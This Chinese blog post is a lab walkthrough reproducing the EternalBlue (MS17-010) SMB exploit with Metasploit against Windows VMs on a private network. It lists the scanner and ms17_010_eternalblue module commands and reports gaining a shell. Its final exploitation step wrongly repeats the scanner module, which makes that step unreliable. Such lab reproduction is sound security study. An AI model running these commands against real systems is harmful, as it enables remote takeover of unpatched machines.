1. 全栈程序员必看首页

永恒之蓝（MS17010）漏洞复现

全栈程序员-站长 • • 未分类 • 阅读 274

永恒之蓝（MS17010）漏洞复现文章目录介绍：准备开始复现正式开始利用介绍：永恒之蓝是指2017年4月14日晚，黑客团体ShadowBrokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序准备1.kali的ip：192.168.0.1282.WindowsServer

大家好，又见面了，我是你们的朋友全栈君。

文章目录

介绍：

永恒之蓝是指黑客团体Shadow Brokers公布的大批网络攻击工具，其中就包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞来获取系统最高权限。

恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，就可以进行非法操作。

准备

1.kali的ip：192.168.0.128
在这里插入图片描述
2.WindowsServer2003的ip：192.168.0.200
在这里插入图片描述
3.测试连通性：
在这里插入图片描述
在这里插入图片描述

开始复现

1.kali进入msf。 命令：msfconsole
在这里插入图片描述
2.search ms17-010 #搜索ms17010
在这里插入图片描述

  • use auxiliary/scanner/smb/smb_ms17_010 #使用模块
  • show options #显示选项
    在这里插入图片描述
  • set RHOSTS 192.168.0.200 # 设置目标主机
    在这里插入图片描述
  • 输入run或者exploit执行
  • 发现存在漏洞
    在这里插入图片描述

3.通过使用exploit/windows/smb/ms17_010_eternalblue模块进行漏洞攻击

  • use exploit/windows/smb/ms17_010_eternalblue
  • set rhosts 192.168.0.200 #设置被攻击端IP
  • run #执行

在这里插入图片描述
发现这个exp只能对64位的系统执行攻击。惨兮兮！！
哎，重来吧。
win7ip：192.168.0.129在这里插入图片描述
测试连通也没问题

正式开始利用

  1. use auxiliary/scanner/smb/smb_ms17_010 # 使用模块
    set rhosts 192.168.0.129 #设置目标IP
    run
    在这里插入图片描述
    发现存在漏洞。
    2.漏洞利用
  • use auxiliary/scanner/smb/smb_ms17_010
  • set rhosts 192.168.0.129
  • run
    在这里插入图片描述
    发现攻击成功。
    然后就可以为所欲为了。
    在这里插入图片描述
    发现有乱码，可以使用chcp 65001命令消除乱码。
    在这里插入图片描述
    至此复现结束。
版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请联系我们举报，一经查实，本站将立刻删除。

发布者：全栈程序员-站长，转载请注明出处：https://javaforall.net/135847.html原文链接：https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长
0 0


相关推荐

  • 国密SM4分组加密[通俗易懂]

    国密SM4分组加密[通俗易懂]

    国密SM4分组加密[通俗易懂]分享一篇SM4加密算法实现文章，算法用C语言即可实现，只有短短300多行代码。SMS4是我国无线局域网标准WAPI中所采用的分组密码标准，随后被我国商用密码标准采用，又名SM4（SM是“商密”的缩写，目前公布的其他商密标准包括SM2椭圆曲线公钥密码，SM3密码杂凑算法）。作为我国商用密码的分组密码标准，预计SMS4在国内的敏感但非机密的应用领域会逐渐取代3DES，AES等国外分组密码标准，用于通…

    全栈程序员-站长的头像 全栈程序员-站长
    2022年9月27日
    4
  • MySql的入侵测试以及防范「建议收藏」

    MySql的入侵测试以及防范「建议收藏」

    MySql的入侵测试以及防范

    全栈程序员-站长的头像 全栈程序员-站长
    2022年3月7日
    47
  • Eureka原理理解和Eureka集群搭建

    Eureka原理理解和Eureka集群搭建

    Eureka原理理解和Eureka集群搭建简介Eureka是Netflix开发的服务发现组件，本身是一个基于REST的服务。springcloud框架集成了Eureka，在微服务架构中充当注册中心的角色，方便管理各种微服务。Eureka原理Eureka分为EurekaServer和EurekaClient及服务端和客户端。EurekaServer为注册中心，是服务端，而服务提供者和消费者即为客户端，消费者也可以是服…

    全栈程序员-站长的头像 全栈程序员-站长
    2022年6月6日
    41
  • 调用usb摄像头_usb监控

    调用usb摄像头_usb监控

    调用usb摄像头_usb监控在使用DirectShow控制USB摄像头的技术方面，需要做几件准备工作：1、安装DirectShowSDK，这个比较繁琐，具体可以网上搜索。2、配置开发工具的路径，如VS2008的相关包含的路径设置3、网上有示例代码，我的资源也上传了一个示例代码。主要对代码中可能遇到的问题进行总结：一般实现功能，包含两个，一个是实时预览，一个是控制拍摄一张图像。问题就是，这两个功能单

    全栈程序员-站长的头像 全栈程序员-站长
    2022年8月31日
    6
  • opencv求逆矩阵函数_c++矩阵

    opencv求逆矩阵函数_c++矩阵

    opencv求逆矩阵函数_c++矩阵voidprintMatrix(CvMat*mat){intk=0;for(inti=0;irows;i++){for(intj=0;jcols;j++){printf(“%10.3f”,cvmGet(mat,i,j));

    全栈程序员-站长的头像 全栈程序员-站长
    2022年8月21日
    8
  • rpa是干什么的_rpa是什么技术

    rpa是干什么的_rpa是什么技术

    rpa是干什么的_rpa是什么技术作者：影刀RPA链接：https://www.zhihu.com/question/382742683/answer/1367045898来源：知乎著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。RPA是什么？一句话让你明白这个技术是什么，一种模拟电脑鼠标键盘操作且可以代替人进行重复性、规则化电脑端操作的技术，展开想象会发现能够应用在公司各个部门各个业务线，简单整理如下：感觉还是很迷糊？钉钉跟客户发不同的消息内容（0编码4分钟完成）影刀RPA的..

    全栈程序员-站长的头像 全栈程序员-站长
    2025年10月18日
    4

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号